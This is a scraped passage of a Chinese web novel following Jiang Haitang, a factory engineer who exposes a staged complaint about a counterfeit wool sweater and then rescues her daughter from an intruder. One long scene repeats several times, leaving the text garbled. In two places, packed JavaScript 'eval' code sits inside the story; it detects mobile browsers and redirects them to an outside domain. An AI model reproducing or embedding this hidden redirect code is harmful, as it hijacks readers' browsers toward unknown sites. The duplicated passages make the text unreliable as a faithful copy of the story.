电话那头沉默了片刻:“丁长林这段时间动作频繁,我不在的时候,你要谨慎小心些,实在不行,这些天留在机械厂别回纺织厂。” “我不回去,小桃子怎么办?” “小桃子那边,孔大娘会好生照料,小桃子懂事,不会哭闹。” 挂断电 话,姜海棠正要走出**厂长的办公室,**厂长进来了。 “海棠同志,我已经让人收拾好了宿舍,你这几天就住在机械厂吧,我会安排人加强安保工作。” 听到**厂长这话,姜海棠道谢,并没有拒绝,只是又给纺织厂那边打了一个电话,让赵凯去一趟刘红梅家,请刘红梅照顾小桃子几天。 姜海棠这边直接在机械厂住下来,纺织厂的李秋兰可着急坏了。 她写**,本来就不是为了整垮姜海棠,而是为了趁机关心姜海棠,让姜海棠和李家重归就好。 谁知道上面那些人,竟然折腾出这么一大滩的事儿,现在可好,姜海棠干脆不见了。 人都找不到了,还怎么套近乎? 李秋兰回家将情况对吴秀云说了。 吴秀云阴恻恻地说:“躲得过初一,躲不过十五。实在不行,不是还有个她放在心上的小崽子?” 姜海棠再次回到纺织厂,已经是一周之后了 她刚回到厂里,就看到了李胜利。 姜海棠立刻警觉起来,大踏步走着,就想离李胜利远一点。 李胜利却已经看到了她,快步追了上来。 “姜海棠!你为什么要躲着我?”李胜利的声音里充满愤怒。 姜海棠停下脚步,但保持着安全距离:“李胜利同志,有事吗?我觉得,我们之间还是尽量不要接触最好。” 第186章 ** 李胜利左右看看,压低声音说:“姜海棠,我要离婚了,你继续和我在一起好不好?” 姜海棠简直觉得,滑天下之大稽。 事到如今,李胜利竟然还能摆出这样一副样子来通知自己,这是有多大的自信啊? “李胜利,我看到你都觉得恶心,以后,咱们最好不见!” 李胜利眼中闪过一丝阴狠,“你以为有陆良辰和**厂长撑腰就了不起了?我告诉你,丁局长有的是办法,收拾不了陆良辰,还收拾不了你?” 姜海棠敏锐察觉到,李胜利和丁长林应该有非常亲近的关系。 她冷笑一声:“李胜利,你不要狗仗人势,何况,就算狗仗人势,那也要是主人,你算什么?丁长林权势再大,能顾得着你这条不认识的狗?” 被姜海棠这样一番话给刺激到的李胜利眼里都是怒火。 “你怎么知道他不认识我?” 话说出来,李胜利才惊讶发现,自己说错话了,他忙将剩下的话吞咽回去。 “好好好,他是你的主人,认识你这条狗,当狗还当出成就感了!” 姜海棠状似无意地说着,转身就离开。 李胜利和丁长林有关系,而且,关系还不简单。 “你别走,姜海棠,你说谁是狗?” “李胜利,是你自己非要对号入座,放着好好的人不当,非要对号入座当狗,我也没办法。” 姜海棠说着,转身离开,不再搭理李胜利。 李胜利看着姜海棠走远的身影狞笑:“姜海棠,我给你机会你不珍惜,那就等着一起倒霉吧!” 说完,转身大步离去。 李胜利离开之后,不远处,两名保卫科的干部出现,盯着李胜利离开的方向然后追过去。 姜海棠回到家里,陆良辰已经回来了。 姜海棠立即将今天刺激陆良辰的话说了一遍。 “良辰,我怀疑,李胜利和丁长林关系不简单。” “海棠,李胜利就是一条疯狗,你不要招惹他,免得他对你动手。”陆良辰仔细打量着姜海棠,确认她无恙后才松了口气。 冒险的事,不适合姜海棠做,有他们这些人呢。 看出陆良辰的担心,姜海棠笑着安抚她:“你别担心,我知道如何保护自己,今天也是正好碰上了,要不然,我不会拿自己生命开玩笑的。” 得了姜海棠的保证,陆良辰才算安心了一些。 “我们这几个月,一直在盯着李胜利,明面上,李胜利和丁 长林并没有任何接触,甚至,两个人都没有交集,看起来,必须要深挖两个人的关系才行。” 正说着,门被敲响。 一个陌生的年轻人慌慌张张地说:“陆厂长,不好了!百货大楼那边出事了!” 听到出事两个字,二人立即站起来,陆良辰问:“什么情况?” “有人穿着我们的羊毛衫皮肤过敏,现在正在商场门口闹呢!记者都去了!” 姜海棠和陆良辰对视一眼,难道,已经有劣质羊毛衫流入市场了? 不应该啊! “走,去看看!”陆良辰抓起外套就往外走。 姜海棠也急急忙忙跟上。 百货大楼门前已经围满了看热闹的人群。 一个中年妇女正举着一件领口脱线的羊毛衫,对着记者的镜头大声控诉:“大家看看!这就是金城纺织厂的产品!我穿了不到半天,浑身起红疹!打开一看,这毛线明显是劣质产品,而且,做工也这么差,就这样的劣质产品也敢卖这么贵!这不是欺负我们劳苦大众?” 姜海棠对厂里的产品都有了解,她第一感觉就是,这件羊毛衫不是厂里生产的。 但她也知道,现在空口无凭,就算说这不是纺织厂的羊毛衫,只怕别人也不会相信,反而觉得,他们是在推诿。 姜海棠立即从随身的包里拿出一件羊毛衫,笑着走上前安抚那激动的妇女。 “这位同志,对于您过敏这件事,我们深表遗憾,至于您说的羊毛衫的质量问题,我们也会好好调查,保证还您一个公道。” “你是什么人?我凭什么要听你的?”那妇女肥硕的身体一扭,没好气地对姜海棠说。 姜海棠继续笑着说:“我是咱们纺织厂的员工……” “我呸,来一个员工算什么?我要厂里的领导出面处理我的问题。”那妇女一口唾沫朝着姜海棠的脸上啐过去。 亏得姜海棠闪躲得快,才躲开唾沫袭击。 “这位同志,我就是厂领导,你有什么事可以直接对我说。” 姜海棠看到陆良辰站出来,眼里都是不赞同,对方是个女同志,她出面协调会比较好,陆良辰一个男同志,说不定不光没有办法调节,还会引起次生矛盾。 那妇女听到陆良辰承认是纺织厂的厂长之后,嗓门陡然提高:“**群众们快来看!这就是金城厂的走资派!用劣质产品坑害我们劳动人民!今天我是受害者,还不知道以后会有多少人因为他们的不负责任而受罪被坑害!” 围观人群骚 动起来,几个臂戴红袖章的年轻人开始高喊:“打倒唯生产力论!” “宁要社会主义的草,不要资本主义的苗!” 那女人也趁机到了陆良辰的身边开始撒泼打滚,她一边撒泼,还一边在陆良辰身上上下其手。 陆良辰从来没有遇到过这样的妇女,按照他的个性,只恨不能一脚踹过去,见这女人踹成傻子。 可偏偏他现在的身份和这位妇女的身份太对立,容易被人攻击。 正当他交集的时候,姜海棠又站出来了。 “这位大婶,你有事说事,怎么可以耍流氓?” 那妇女显然没想到,姜海棠会直接说她耍流氓,情急之下,连自己正在**都忘了。 “小**,你敢胡说八道!看我不打死你!” 妇女说着,朝着姜海棠张牙舞爪地冲过来! 姜海棠灵巧地躲开,嘴里还不断地说着:“你让周围的人说,你这么大的年纪了,对着一个小伙子身上下其手,不是耍流氓是什么?” 周围的人哄堂大笑,他们当然看到了这妇女对着陆良辰上下其手,不过,他们也看出来了,这妇女是个滚刀肉,他们并不敢作证。 好在,姜海棠也只是搅乱妇女的心神,并没有打算真的找人作证。 果然,在妇女心思乱了之后,姜海棠一把扯过她手中的羊毛衫。 妇女反应过来要将羊毛衫抢回来,可哪里来得及。 “老天爷啊,这个小**丧良心了,竟然抢走我的羊毛衫,肯定是要毁尸灭迹!” “这位同志,你这羊毛衫,真的是从百货大楼买的吗?真的是我们金城纺织厂的羊毛衫吗?” 姜海棠左右手一只手拿着一件羊毛衫给围观的人群看。 “这一件是我们金城纺织厂生产的羊毛衫,这一件,看着很明显就和我手里这件有差别。” 周围的人并没有看出不同,立即反驳:“说不定不是同一批呢?” “就是,再说了,谁知道你拿出来的是不是你们专门定做的好的?” 姜海棠听着这些人的话,正在想怎么办,忽然看到了眼熟的人,她记得这人是百货大楼的工作人员,因此忙打招呼:“同志,你好,请问你能帮我一个忙吗?” 对方是个年轻的小伙子,看到一个漂亮的大姑娘请自己帮忙,自然不会拒绝,立即高喊:“同志,你有什么需要我帮忙的?” 姜海棠道:“我想请你帮忙从百货大楼拿一件羊毛衫过来做对比。” 那人听了,一口 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797859|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 应下,转身回百货大楼去了。 姜海棠悬着的心总算回落了一点点,周围的人也一直盯着百货大楼的门口,似是迫切希望,从百货大楼里拿出来一件羊毛衫做对比。 姜海棠知道,不能让这些人一直闲着,她开口说:“我们金城纺织厂生产的羊毛衫,采用的是这种走针方式,你们再看看这位妇女同志拿过来的羊毛衫,走针方式完全不同,还有纺织工艺,和我们厂里用提花机生产的羊毛衫完全不同。” 她一面说话,一面逼近那妇女,“你确定,你这件羊毛衫是我们厂生产的?” 妇女有点心虚,并不敢看姜海棠,她的眼神闪烁,似乎想在围观的人群里找到谁。 姜海棠跟着扫视了一圈,却并没有找到熟悉的人。 她只能接着说:“而且,我们的羊毛衫因为价位比较高,所以,每一件羊毛衫都有编号,而这件上面根本没有。” 姜海棠说完话,将羊毛衫的袖子翻过来,果然露出一个小小的标记。 仔细看,上面确实是一串数字。 陆良辰提高嗓门:“主席教导我们要‘实事求是’。请出示你的购货凭证。“ “凭……凭证丢了!”妇女眼神闪烁,转而开始撒泼,“你们想搞官官相护是不是?我要去告你们!” “丢了?”陆良辰盯着妇女,明显不相信。 这时三个臂戴红袖章的干部挤进人群。 为首的方脸男子掏出红宝书晃了晃:“接到**群众举报,你们厂搞资本主义经营,生产劣质产品!现在要对你们厂进行停产整顿!“ 姜海棠心头一紧,这些人来得太快了,就像事先排练好的。 第187章 山雨欲来 说这个不是事先计划好的,姜海棠都不相信。 这时候,陆良辰不卑不亢地同样从胸前口袋掏出红宝书。 “最高指示‘没有调查就没有发言权’。请领导先核实这件羊毛衫的真伪,再来研究我们厂是不是走资本主义。 原本很严肃的场面,姜海棠却想起了上辈子的一句话,叫做以魔法打败魔法! 只是,不等姜海棠脸上笑容绽开,方脸干部已经怒气冲冲开口了。 他一把夺过羊毛衫:“到现在,你们还在狡辩!这分明就是你们厂的商标!现在全市开展‘批林批孔’运动,你们还敢搞唯生产力论? 姜海棠想起,过年时候在京城,陆爷爷曾经提醒过他们,不要被人定性为搞唯生产力论,这才多长时间,果然有人用这个做文章吗? “我作为轻工局的领导,对纺织厂现在这种危险的思想提出严厉批评。 陆良辰看了一眼,小声告诉姜海棠:“这就是丁长林,王强的姐夫。 姜海棠盯着丁长林看了好一会儿,这个人眼神飘忽,一看就不是正经人。 “轻工局的领导来了啊,领导啊,你可要给我们劳苦大众做主啊,可不能让纺织厂欺负人!**的中年妇女快步走到丁长林跟前,开始哭着喊着叫冤枉。 丁长林摆出一副为民做主的样子,十分和蔼的对中年妇女说道:“同志,您放心,我们肯定会为您做主,绝对不会让您这样的劳苦大众受任何委屈。 丁长林先对中年妇女说了这一番话之后,又正色对陆良辰说:“陆厂长,我知道你是战斗英雄,也是咱们省里最年轻的厂长,年轻人有干劲儿是好事,可也不能为了政绩,让劳苦大众受损失。 “这样吧,今天这事儿,我做主,你们承担这位女同志的医疗费用,补偿她的损失,她也不另外追究你们的责任,你觉得怎么样?陆厂长? 姜海棠听丁长林这么说,还有什么不明白的? 丁长林这话,看起来是为纺织厂说话,可实际上,只要纺织厂答应下来,那就是将纺织厂钉在了耻辱柱上,更是让陆良辰这个厂长不得不认下这盆屎。 姜海棠生怕陆良辰为了息事宁人答应下来,她忙上前扯了一下陆良辰的袖子。 陆良辰给她一个安抚的眼神,然后盯着丁长林,一脸严肃的开口。 “这件事,我建议报**进行调查,如果**调查是我们纺织厂的责任,我们全部承担,并且给这位女同志补偿,但如果**调查 是有人栽赃陷害我们纺织厂,我们必定追究到底。” 姜海棠听陆良辰这么说,总算放心了。 “报**?”丁长林脸色一沉,十分生气的开口:“陆良辰同志,你这是要把人民内部矛盾扩大化!” 围观人群中几个年轻人不知道从什么地方冒出来。 “打倒官僚主义!” “打倒资本主义!” “坚决抵制走资派!” 这些人看起来很陌生,但姜海棠就是觉得,这些人和丁长林有关系。 她悄悄往陆良辰身边靠过去,低声道:“他们在**。” 陆良辰会意。 “丁副局长,”陆良辰挺直腰板,声音沉稳有力。 “既然您提到人民内部矛盾,那更应该查清事实。我现在怀疑有人蓄意破坏生产……” 丁长林腮帮子的肌肉抽搐了两下。 就在这时,那**的妇女突然捂着胸口踉跄几步:“哎哟……我……我喘不过气……” 话音未落竟直挺挺向后倒去。 人群哗然。 丁长林一个箭步冲上前:“快!把人送到医院,这肯定是因为劣质羊毛衫过敏导致的。” 陆良辰想说什么,但张嘴之后,并没有说出话来。 反而是丁长林,他扭头怒视陆良辰,“现在证据确凿,金城纺织厂的劣质产品把**群众害成这样!我以轻工局的名义宣布,立即停止金城厂所有生产线,全面整顿!” 姜海棠眼尖,发现那妇女倒下时脖颈处露出块完好的皮肤上根本没有红疹!她正要揭穿,一阵急促的哨声突然从街角传来。 然后就是两辆警车呼啸而至,为首的**干部跳下车亮出证件:“都让开!我们是**,刚接到举报这里有人破坏生产!” 丁长林脸色骤变:“同志,这事我们轻工局正在处理,就不劳烦你们了……” “处理?你们是怎么处理的?”那**显然并不将丁长林这个轻工局的副局长放在眼里。 姜海棠忙开口:“**同志,我还怀疑,这位女同志伪造过敏症状。” “在场的各位有没有医护人员,帮这位女同志检查一下,是不是真的过敏。” 那个原本晕过去的女同志听到这话,立即站了起来。 “我就是过敏了,不用检查。我自己的身体,自己还能不知道?” “你知道?刚才你不是还晕厥在地上?”姜海棠戏谑的说。 那女人脸瞬间涨红了。 “纺织厂的人是不是有点欺人太甚了? “调查要讲究证据,不是谁弱谁有理!**同志也十分坚持。 就在这千钧一发之际,一辆黑色轿车疾驰而来,汽车缓缓在百货大楼不远处停下来。 车门打开,**厂长搀着一位白发老者走了下来。 “是省革委会的王主任!陆良辰惊呼。 丁长林看到王主任,脸色瞬间惨白,慌忙迎上去:“王主任,您怎么来了…… 王主任冷哼一声,没有理他,径直走向那名投诉的妇女:“同志,你这件羊毛衫是从这里买的吗?有发票吗? 妇女支支吾吾:“发票……发票丢了…… 人群中顿时爆发出一阵哄笑,显然,大家都不相信发票丢了这样的话。 王主任抬手示意大家安静,然后对**的同志说:“这件羊毛衫,在与百货大楼的报以比对之后,送去检查,如果是金城厂的问题,我第一个处理他们;如果有人栽赃陷害,意图破坏生产…… 他锐利的目光扫过丁长林和,缓缓的,一个字一个字的说:“那也绝不轻饶! 局势瞬间逆转,丁长林额头冒汗。 所有人的目光齐刷刷射向丁长林,他僵在原地,脸上的表情比哭还难看。 王主任意味深长地说:“是啊,老丁,丁局长,一起走吧。正好我有些问题想请教你。 丁长林不敢走了,很快,去百货大楼取羊毛衫样品的人很快拿了一件羊毛衫出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807915|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王主任做主,在现场找了十来个人一起对比检查。 经过十来个人一轮轮的检查,确定这名中年妇女的羊毛衫和纺织厂提供给百货大楼的不是同样的产品。 “涉事人员通通带走。马上就要广交会了,有人在这时候**,显然是有预谋的。 这场闹剧最终以丁长林和中年妇女被带走调查告终。 经检测,那件质量低劣的羊毛衫不仅使用了劣质原料,还被故意浸泡了致敏物质,明显是栽赃陷害。 这就是一场针对纺织厂的预谋。 接下来的一周时间,十分平静,平静的让姜海棠都开始心慌了。 她觉得这样的气氛很诡异! 就好像暴风雨前的宁静一样,让人压抑,让人窒息! 这时候,省厅给姜海棠报上去的三八红旗手批下来了。 消息传到厂里,有些人嫉恨的牙痒痒,有些人则是真心实意为姜海棠开心。 拿到了表彰, 虽然只是荣誉,没有奖金,但姜海棠十分开心和满意。 这可是对她最大的认可! 但因为厂里最近的气氛,姜海棠欢愉的心情都淡了好几分。 而这些天,陆良辰也一直非常忙,忙的有点脚不沾地。 康小夏过来找姜海棠的时候,说起赵凯,说也是一样,她都已经有好几天没有见到赵凯了。 “或许是真的有急事,小夏,这几天,你也要谨慎小心一些。赵凯做的都是得罪人的事儿,说不定,有人会针对你。” 康小夏一面织毛衣一面说:“其实,你比我危险多了。毕竟,陆厂长的身份摆在那里,就像一个靶子一样。” 姜海棠点头。 “我现在就指望,这些事尽快过去,真的是太影响人的心情了。” 她都不敢擅自离开厂里一步,就连小桃子,她都不敢自己带着,很多时候,让小桃子在孔家一起玩。 姜海棠把“三八红旗手”的奖状锁进办公室抽屉的这日,广播里正在播放《人民日报》社论:“提高警惕,保卫祖国,要时刻警惕阶级敌人的破坏活动……” 她忽然有种不详的预感,眼睛一跳再跳,好像要发生什么大事一样。 “姜工!”保卫科的小王慌慌张张推门进来,“刚在有人把这个丢到了厂里!” 小王说着,递过来一个已经开封的牛皮纸信封。 姜海棠拿出里面的东西,里面赫然是张她和小桃子的合影,照片上被红笔画了个大大的叉,背面用剪报拼出一行字:“你们都要死,这就是和我们作对的下场!” 姜海棠惊惧之下,手中的照片没有拿稳,跌到了桌上,她强自镇定:“什么时候发现的?” “就刚才!老周说看见个戴鸭舌帽的男人在墙根转悠……”小王突然压低声音,“姜工,您最近是不是又发现什么了?” 姜海棠摇头,她最近好像没有发现什么。 “我去趟保卫科。” 姜海棠急匆匆的跑出办公室,才跑到一半,就听到有人喊自己。 回头一看,是传达室的大爷。 “姜工,有你的电话。” 姜海棠惊讶,谁这时候给自己打电话了? 但她还是过去接起电话。 第188章 风满楼 “姜海棠同志吗?”陌生的男声带着电流杂音,“你女儿在幼儿园摔伤了,现在送……” “胡说!”姜海棠厉声打断,“小桃子今天根本没去幼儿园!” 电话那头传来“咔嗒”挂断声。 小王脸色煞白:“这……这是敌特分子的恐吓!” 姜海棠脸色苍白起来,“他们盯上了小桃子!” 小桃子今天确实没有去幼儿园,而是和孔大娘在家里。 姜海棠急匆匆地朝着家属院跑去。 越跑心越慌,在初春寒冷的风里,姜海棠跑出了满头大汗。 “孔大娘!小桃子!”姜海棠人刚到院子里,就朝着屋里大喊。 屋里传出瓷器破碎的声音,姜海棠顾不得别的,抄起门边的一根棍子冲进去。 只见孔大娘被捆在椅子上,嘴里塞着抹布,额头渗着血。 见到姜海棠,老人拼命摇头,眼睛瞪向里屋。 “妈妈……”小桃子微弱的哭声从里屋传来。 姜海棠浑身血液都凝固了。 她轻手轻脚摸到门边,透过门缝看见个穿劳动布工装的男人背对门口,正往孩子嘴里塞药片,小桃子哭得满脸通红。 “住手!”姜海棠踹开门,棍子朝那人后脑勺砸下去。 男人敏捷地闪开,鸭舌帽下露出张刀疤脸。 他一把掐住小桃子的脖子:“再动我就拧断这小崽子的脖子!” 他狞笑着,一双爪子牢牢地抓在小桃子的脖子上,小桃子的脸已经变得青紫。 姜海棠双腿发软,手中的罐子掉在地上。 她强迫自己深呼吸,耐心地和男人说话。 “同志,你、你先放开孩子。稚子何辜,不管你有什么要求,都不应该伤害孩子……”她声音发抖,确实害怕这个亡命之徒对小桃子下手,“只要你放开孩子,你要什么我都答应。” “少装糊涂!”刀疤脸手指收紧,小桃子发出痛苦的呜咽。 姜海棠更加心惊胆战,这么小的孩子,一个不小心就会要了命啊! “你别激动……你有什么要求就说,我保证不还价……” “听说,纺织厂最近取得的成绩不少,都是你带着人研究的?我也不要求多的,把你们最近的项目图纸都拿出来。” 姜海棠心头一震,图谋不小啊。 她焦急万分的时候,眼角瞥见窗外有人影晃动,心念一动,她知道,自己必须拖延时间。 “图纸不在我手里……” “啪!”刀疤脸突然甩了小桃子一耳光,“当我是三岁小孩?” 小桃子的脸被打肿了,嘴角渗出血丝,哭声像刀子般扎进姜海棠心里。 就在姜海棠心慌意乱终于殊死一搏的时候,小桃子突然张嘴狠狠咬住刀疤脸的手腕。 男人吃痛松手,姜海棠趁机扑上前去,却被一脚踹在腹部。 “臭娘们!”刀疤脸拽着小桃子的辫子往墙上撞,“老子先解决这小崽子!再收拾你这个**!” 姜海棠眼前发黑,立即朝着小桃子扑过去,好在,一切都来得及,姜海棠在千钧一发之际,将小桃子抱在怀里。 男人朝着她冲过来,她伸腿将男人绊倒。 刀疤男人栽倒在地上,姜海棠立即抱着小桃子利落地翻身朝着门外跑。 可刀疤男人很快反应过来,紧跟着姜海棠朝着门口追。 被抓住的一刻,姜海棠忽然想起口袋里装着一把剪刀,她单手抱住小桃子,另外一只手将剪刀从口袋里摸出来,她顾不得找位置,单凭着感觉狠狠往后一扎。 “嗷!”男人惨叫松手,发出杀猪一样的声音。 姜海棠顾不得看男人伤在哪里,她快步朝着门外继续跑。 “来人啊!抓敌特分子!”她声嘶力竭地大喊。 刀疤脸拔出腿上的剪刀,鲜血顺着裤管滴在地上,他狞笑着:“**,敢伤老子,今天不收拾你,老子不姓赵!” 就在这时候,从窗户外面传来了声音! “不许动!” 趁着刀疤脸慌神的功夫,姜海棠抱着小桃子连滚带爬的到了外面,然后,三个**破窗而入。 刀疤脸见势不妙,转身就要扑向姜海棠。 姜海棠早有防备,转身就是一脚,正好踹在男人的膝盖上。 脆弱的膝盖遭受了重击后,男人扑通一声跪倒在地,被随后赶来的**死死按住。 姜海棠只觉得整个人虚脱了一样,跌坐在地上。 小桃子被姜海棠抱在怀里,一点声音都没有,也不知道是不是被吓坏了。 “姜同志没事吧?” 两个保卫科的同志冲进来,其中一个姜海棠认识,是老郑。 “你们怎么来了……” “陆厂长早让我们盯着了,只是没想到,他们动作迅速……”老郑非常愧疚地说。 他们这段时间一直在加强巡逻工作,却还是让敌特闯入家属院。 “姜工,您受惊了。” 姜海棠顾不得回答他们的话, 抱着小桃子开始检查她的身体。 “小桃子,你有没有受伤?告诉妈妈,哪里疼?” 小桃子却像是傻了一样,一言不发,显然是吓到了。 姜海棠忙抱住小丫头耐心安抚。 或许是熟悉的怀抱让孩子总算反应过来,小丫头哇的一声大哭起来。 姜海棠心疼地抱着小桃子:“没事了,小桃子不怕,没事了,叔叔和伯伯们会保护小桃子,保护妈妈……” 小桃子这时候终于开口了,她说:“还要保护孔奶奶……” 而另一边,保卫科的同志已经将孔大娘松绑。 姜海棠抱着小桃子到孔大娘身边。 “大娘,对不起,都是我们连累了你!”姜海棠十分诚挚地道歉。 孔大娘如果不是帮忙看小桃子,也不至于遭遇这些,这场灾难,是他们家带给孔大娘的。 “说这个干啥,都是我年龄大了,没有照顾好小桃子。” 孔大娘虽然心有余悸,但还是十分愧疚地道歉。 “不是我不想保护小桃子,实在是我没本事!” “大娘,我知道,您今天在用生命保护小桃子,我该谢谢您!” “这孩子的父亲为了保护我们牺牲了,我们保护她不是应该的?”孔大娘制止姜海棠鞠躬。 刀疤被抓了,姜海棠心有余悸。 小桃子终究还是生病了,姜海棠没有去上班,而是请假留在家里照顾小桃子。 